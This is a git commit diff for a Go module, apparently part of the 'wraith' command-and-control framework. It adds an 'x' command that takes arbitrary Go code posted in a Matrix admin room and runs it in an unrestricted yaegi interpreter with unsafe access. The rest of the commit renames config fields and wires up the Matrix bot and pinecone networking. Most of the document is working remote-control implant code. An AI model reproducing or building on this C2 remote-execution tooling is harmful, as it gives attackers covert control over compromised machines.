chore: working x command + some tweaks

This commit is contained in:
0x1a8510f2 2023-06-10 19:00:07 +01:00
parent a00212db51
commit e0d92f4b55
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
8 changed files with 164 additions and 71 deletions

View File

@ -1,6 +1,75 @@
package main
func ExecCmd(command string) (*string, error) {
a := "Test"
return &a, nil
import (
"fmt"
"reflect"
"strings"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/cmd/pc3/lib"
"github.com/traefik/yaegi/interp"
"github.com/traefik/yaegi/stdlib"
"github.com/traefik/yaegi/stdlib/unsafe"
)
func CmdX(ctx lib.CommandContext, arg string) (response string, errResponse error) {
defer func() {
if p := recover(); p != nil {
errResponse = fmt.Errorf("command panicked: %e", p)
}
}()
i := interp.New(interp.Options{
Unrestricted: true,
})
stdlib.Symbols["wmp/wmp"] = map[string]reflect.Value{
"CommandContext": reflect.ValueOf((*lib.CommandContext)(nil)),
"Config": reflect.ValueOf((*lib.Config)(nil)),
}
i.Use(stdlib.Symbols)
i.Use(unsafe.Symbols)
_, err := i.Eval(arg)
if err != nil {
return "", fmt.Errorf("could not evaluate due to error: %e", err)
}
result, err := i.Eval("main.X")
if err != nil {
return "", fmt.Errorf("could not find `main.X`: %e", err)
}
if !result.IsValid() {
// The program didn't return anything for us to run, so assume everything
// is done and notify the user.
return "program did not return anything", nil
}
communicator, ok := result.Interface().(func(lib.CommandContext) (string, error))
if !ok {
return "", fmt.Errorf("returned function was of incorrect type (%T)", result.Interface())
}
return communicator(ctx)
}
func CmdH(ctx lib.CommandContext, arg string) (string, error) {
switch strings.ToLower(arg) {
case "":
return "", nil
default:
return "", fmt.Errorf("no help found for keyword `%s`", arg)
}
}
func ExecCmd(ctx lib.CommandContext, command string) (string, error) {
keyword, arg, _ := strings.Cut(command, " ")
switch strings.ToLower(keyword) {
case "x":
return CmdX(ctx, arg)
case "h":
return CmdH(ctx, arg)
}
return fmt.Sprintf("keyword `%s` not found, try `h` for help", keyword), nil
}

View File

@ -1,4 +1,4 @@
package main
package lib
import (
"net/url"
@ -19,37 +19,37 @@ const (
type Config struct {
// The address of the homeserver to connect to for C2.
homeserver string
Homeserver string
// The username to authenticate to the HS with.
username string
Username string
// The password to authenticate to the HS with.
password string
Password string
// The Matrix room where administration occurs.
adminRoom string
AdminRoom string
// Private key to use as identity on the pinecone network.
pineconeId string
PineconeId string
// Whether to print pinecone's internal logs to stdout.
logPinecone bool
LogPinecone bool
// The address to listen for inbound pinecone connections on.
pineconeInboundTcpAddr string
PineconeInboundTcpAddr string
// The address to listen for inbound HTTP connections on (allows pinecone over websocket and pinecone debug endpoint if enabled).
pineconeInboundWebAddr string
PineconeInboundWebAddr string
// The HTTP path of the pinecone debug endpoint on the pinecone webserver (omit to disable).
pineconeDebugEndpoint string
PineconeDebugEndpoint string
// Comma-delimeted list of static peers to connect to.
pineconeUseMulticast bool
PineconeUseMulticast bool
// Whether to use multicast to discover pinecone peers on the local network.
pineconeStaticPeers string
PineconeStaticPeers string
}
func (c *Config) Setup() {
@ -64,32 +64,32 @@ func (c *Config) Setup() {
// Save relevant env to config.
//
c.homeserver = os.Getenv("WMP_HOMESERVER")
c.username = os.Getenv("WMP_USERNAME")
c.password = os.Getenv("WMP_PASSWORD")
c.adminRoom = os.Getenv("WMP_ADMIN_ROOM")
c.pineconeId = os.Getenv("WMP_ID_PINECONE")
c.logPinecone = logPinecone
c.pineconeInboundTcpAddr = os.Getenv("WMP_INBOUND_TCP_PINECONE")
c.pineconeInboundWebAddr = os.Getenv("WMP_INBOUND_WEB_PINECONE")
c.pineconeDebugEndpoint = os.Getenv("WMP_DEBUG_ENDPOINT_PINECONE")
c.pineconeUseMulticast = pineconeUseMulticast
c.pineconeStaticPeers = os.Getenv("WMP_STATIC_PEERS_PINECONE")
c.Homeserver = os.Getenv("WMP_HOMESERVER")
c.Username = os.Getenv("WMP_USERNAME")
c.Password = os.Getenv("WMP_PASSWORD")
c.AdminRoom = os.Getenv("WMP_ADMIN_ROOM")
c.PineconeId = os.Getenv("WMP_ID_PINECONE")
c.LogPinecone = logPinecone
c.PineconeInboundTcpAddr = os.Getenv("WMP_INBOUND_TCP_PINECONE")
c.PineconeInboundWebAddr = os.Getenv("WMP_INBOUND_WEB_PINECONE")
c.PineconeDebugEndpoint = os.Getenv("WMP_DEBUG_ENDPOINT_PINECONE")
c.PineconeUseMulticast = pineconeUseMulticast
c.PineconeStaticPeers = os.Getenv("WMP_STATIC_PEERS_PINECONE")
//
// Validate config.
//
_, hsParseError := url.ParseRequestURI(c.homeserver)
_, hsParseError := url.ParseRequestURI(c.Homeserver)
if hsParseError != nil {
panic("could not parse homeserver url")
}
if c.username == "" || c.password == "" {
if c.Username == "" || c.Password == "" {
panic("please provide homeserver credentials")
}
if c.adminRoom == "" {
if c.AdminRoom == "" {
panic("please provide an admin room id")
}
}

View File

@ -1,4 +1,4 @@
package main
package lib
import (
"sync"

12
cmd/pc3/lib/types.go Normal file
View File

@ -0,0 +1,12 @@
package lib
import (
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/radio"
"maunium.net/go/mautrix"
)
type CommandContext struct {
Config *Config
Client *mautrix.Client
Radio *radio.Radio
}

View File

@ -13,6 +13,7 @@ import (
"syscall"
"time"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/cmd/pc3/lib"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/proto"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/radio"
_ "github.com/mattn/go-sqlite3"
@ -23,22 +24,22 @@ func main() {
// Create a struct to hold config values.
//
c := Config{}
c := lib.Config{}
c.Setup()
//
// Validate the config.
//
if c.pineconeId == "" {
if c.PineconeId == "" {
fmt.Println("no pineconeId was specified; cannot continue")
os.Exit(1)
}
if c.pineconeInboundTcpAddr == "" && c.pineconeInboundWebAddr == "" && !c.pineconeUseMulticast && c.pineconeStaticPeers == "" {
if c.PineconeInboundTcpAddr == "" && c.PineconeInboundWebAddr == "" && !c.PineconeUseMulticast && c.PineconeStaticPeers == "" {
fmt.Println("no way for peers to connect was specified; cannot continue")
os.Exit(1)
}
pineconeIdBytes, err := hex.DecodeString(c.pineconeId)
pineconeIdBytes, err := hex.DecodeString(c.PineconeId)
if err != nil {
fmt.Println("provided pineconeId was not a hex-encoded string; cannot continue")
os.Exit(1)
@ -53,15 +54,15 @@ func main() {
pr := radio.GetInstance()
pr.SetPineconeIdentity(pineconeId)
if c.logPinecone {
if c.LogPinecone {
pr.SetLogger(log.Default())
}
pr.SetInboundAddr(c.pineconeInboundTcpAddr)
pr.SetWebserverAddr(c.pineconeInboundWebAddr)
pr.SetWebserverDebugPath(c.pineconeDebugEndpoint)
pr.SetUseMulticast(c.pineconeUseMulticast)
if c.pineconeStaticPeers != "" {
pr.SetStaticPeers(strings.Split(c.pineconeStaticPeers, ","))
pr.SetInboundAddr(c.PineconeInboundTcpAddr)
pr.SetWebserverAddr(c.PineconeInboundWebAddr)
pr.SetWebserverDebugPath(c.PineconeDebugEndpoint)
pr.SetUseMulticast(c.PineconeUseMulticast)
if c.PineconeStaticPeers != "" {
pr.SetStaticPeers(strings.Split(c.PineconeStaticPeers, ","))
}
//
@ -78,14 +79,18 @@ func main() {
var matrixBotWait sync.WaitGroup
client := MatrixBotInit(matrixBotCtx, c, &matrixBotWait)
MatrixBotRunStartup(client, c)
MatrixBotEventHandlerSetUp(client, c)
MatrixBotEventHandlerSetUp(lib.CommandContext{
Config: &c,
Client: client,
Radio: &pr,
})
//
// Main body.
//
// Create a state storage struct.
s := MkState()
s := lib.MkState()
// Start pinecone.
go pr.Start()
@ -104,7 +109,7 @@ mainloop:
case <-sigchan:
break mainloop
// Clean up state.
case <-time.After(STATE_CLEANUP_INTERVAL):
case <-time.After(lib.STATE_CLEANUP_INTERVAL):
s.Prune()
// Process incoming packets.
case packet := <-recv:

View File

@ -9,6 +9,7 @@ import (
"sync"
"time"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/cmd/pc3/lib"
"maunium.net/go/mautrix"
"maunium.net/go/mautrix/crypto/cryptohelper"
"maunium.net/go/mautrix/event"
@ -16,47 +17,50 @@ import (
"maunium.net/go/mautrix/id"
)
func MatrixBotRunStartup(client *mautrix.Client, c Config) {
func MatrixBotRunStartup(client *mautrix.Client, c lib.Config) {
// Make sure we're only ever in the admin room.
rooms, err := client.JoinedRooms()
if err != nil {
panic(err)
}
for _, room := range rooms.JoinedRooms {
if room.String() != c.adminRoom {
if room.String() != c.AdminRoom {
client.LeaveRoom(room)
client.ForgetRoom(room)
}
}
}
func MatrixBotEventHandlerSetUp(client *mautrix.Client, c Config) {
syncer := client.Syncer.(*mautrix.DefaultSyncer)
func MatrixBotEventHandlerSetUp(ctx lib.CommandContext) {
syncer := ctx.Client.Syncer.(*mautrix.DefaultSyncer)
// Messages.
syncer.OnEventType(event.EventMessage, func(source mautrix.EventSource, evt *event.Event) {
if evt.RoomID == id.RoomID(c.adminRoom) {
if evt.RoomID == id.RoomID(ctx.Config.AdminRoom) {
// Mark any messages in the admin room as read.
client.SendReceipt(evt.RoomID, evt.ID, event.ReceiptTypeRead, nil)
ctx.Client.SendReceipt(evt.RoomID, evt.ID, event.ReceiptTypeRead, nil)
if message, ok := evt.Content.Parsed.(*event.MessageEventContent); ok {
if command := strings.TrimPrefix(message.Body, "!wmp "); command != message.Body {
// If the message starts with the command prefix, start
// typing to indicate that we're processing the message.
defer client.UserTyping(evt.RoomID, false, time.Microsecond*1)
client.UserTyping(evt.RoomID, true, time.Minute*1)
defer ctx.Client.UserTyping(evt.RoomID, false, time.Microsecond*1)
ctx.Client.UserTyping(evt.RoomID, true, time.Minute*1)
if replyText, err := ExecCmd(command); replyText != nil {
// If there is a reply, send it.
reply := format.RenderMarkdown(*replyText, true, true)
reply.SetReply(evt)
client.SendMessageEvent(evt.RoomID, event.EventMessage, reply)
} else if err != nil {
// If there is no reply but there is an error, react with nack.
client.SendReaction(evt.RoomID, evt.ID, "❌")
replyText, err := ExecCmd(ctx, command)
if err == nil {
ctx.Client.SendReaction(evt.RoomID, evt.ID, "✅")
} else {
// Otherwise, react with ack.
client.SendReaction(evt.RoomID, evt.ID, "✅")
ctx.Client.SendReaction(evt.RoomID, evt.ID, "❌")
errReply := format.RenderMarkdown(err.Error(), true, true)
errReply.SetReply(evt)
ctx.Client.SendMessageEvent(evt.RoomID, event.EventMessage, errReply)
}
if replyText != "" {
reply := format.RenderMarkdown(replyText, true, true)
reply.SetReply(evt)
ctx.Client.SendMessageEvent(evt.RoomID, event.EventMessage, reply)
}
}
}
@ -65,20 +69,20 @@ func MatrixBotEventHandlerSetUp(client *mautrix.Client, c Config) {
// Invites.
syncer.OnEventType(event.StateMember, func(source mautrix.EventSource, evt *event.Event) {
if evt.GetStateKey() == client.UserID.String() && evt.Content.AsMember().Membership == event.MembershipInvite {
if evt.RoomID == id.RoomID(c.adminRoom) {
client.JoinRoomByID(evt.RoomID)
if evt.GetStateKey() == ctx.Client.UserID.String() && evt.Content.AsMember().Membership == event.MembershipInvite {
if evt.RoomID == id.RoomID(ctx.Config.AdminRoom) {
ctx.Client.JoinRoomByID(evt.RoomID)
} else {
client.LeaveRoom(evt.RoomID)
client.ForgetRoom(evt.RoomID)
ctx.Client.LeaveRoom(evt.RoomID)
ctx.Client.ForgetRoom(evt.RoomID)
}
}
})
}
func MatrixBotInit(ctx context.Context, c Config, wg *sync.WaitGroup) *mautrix.Client {
func MatrixBotInit(ctx context.Context, c lib.Config, wg *sync.WaitGroup) *mautrix.Client {
// Connect to Matrix homeserver.
client, err := mautrix.NewClient(c.homeserver, "", "")
client, err := mautrix.NewClient(c.Homeserver, "", "")
if err != nil {
panic(err)
}
@ -96,9 +100,9 @@ func MatrixBotInit(ctx context.Context, c Config, wg *sync.WaitGroup) *mautrix.C
cryptoHelper.LoginAs = &mautrix.ReqLogin{
Type: mautrix.AuthTypePassword,
Identifier: mautrix.UserIdentifier{Type: mautrix.IdentifierTypeUser, User: c.username},
Identifier: mautrix.UserIdentifier{Type: mautrix.IdentifierTypeUser, User: c.Username},
InitialDeviceDisplayName: "WMP-" + fmt.Sprint(time.Now().Unix()),
Password: c.password,
Password: c.Password,
StoreHomeserverURL: true,
}

1
go.mod
View File

@ -10,6 +10,7 @@ require (
github.com/gorilla/websocket v1.5.0
github.com/matrix-org/pinecone v0.11.1-0.20230210171230-8c3b24f2649a
github.com/mattn/go-sqlite3 v1.14.17
github.com/traefik/yaegi v0.15.1
maunium.net/go/mautrix v0.15.2
)

2
go.sum
View File

@ -100,6 +100,8 @@ github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY=
github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28=
github.com/traefik/yaegi v0.15.1 h1:YA5SbaL6HZA0Exh9T/oArRHqGN2HQ+zgmCY7dkoTXu4=
github.com/traefik/yaegi v0.15.1/go.mod h1:AVRxhaI2G+nUsaM1zyktzwXn69G3t/AuTDrCiTds9p0=
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=